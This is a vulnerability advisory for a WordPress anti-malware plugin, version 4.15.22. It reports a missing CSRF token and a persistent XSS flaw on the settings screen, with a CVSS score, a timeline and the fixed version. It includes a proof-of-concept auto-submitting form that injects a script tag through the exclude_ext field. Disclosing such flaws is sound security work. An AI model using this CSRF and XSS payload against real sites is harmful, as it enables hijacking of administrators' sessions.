Anti-Malware and Brute-Force Security by ELI 4.15.22, Persistent XSS

The Anti-Malware and Brute-Force Security by ELI has two issues which we will cover in this report. The first is that no nonce (CSRF token) is utilized on the settings screen. This could potentially result in resource utilization (by performing a large number of scans simultaneously), should an administrative user be tricked in to visiting a malicious site. The second is that input is not correctly sanitized prior to output upon submission of the settings screen. This results in a Persistent XSS attack being triggered on the settings screen of this plugin.

Homepage

https://wordpress.org/support/view/plugin-reviews/gotmls

CVSS Score

4.9

CSSS Vector

(AV:N/AC:M/Au:S/C:P/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 4.15.23.

Proof of Concept

If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.

<form id="form" method="POST" action="http://localhost/wp-admin/admin.php?page=GOTMLS-settings>
        <input type="hidden" name="scan_type" value="Complete Scan"/>
        <input type="hidden" name="check[]" value="potential"/>
        <input type="hidden" name="scan_what" value="2"/>
        <input type="hidden" name="scan_depth" value="1"/>
        <input type="hidden" name="exclude_ext" value='png,jpg,jpeg,gif,bmp,tif,tiff,psd,fla,flv,mov,mp3,exe,zip,pdf,css,pot,po,mo,so,doc,docx,svg,ttf"><script>alert(1)</script>'/>
        <input type="hidden" name="exclude_dir" value=""/>
        <input type="hidden" name="skip_quarantine" value="1"/>
</form>
<script>
        document.getElementById("form").submit();
</script>

Timeline

  • 2015-05-18: Discovered
  • 2015-05-18: Vendor notified
  • 2015-05-18: Vendor responded
  • 2015-05-18: Version 4.15.23 released – issue resolved
  • 2015-05-25: Advisory released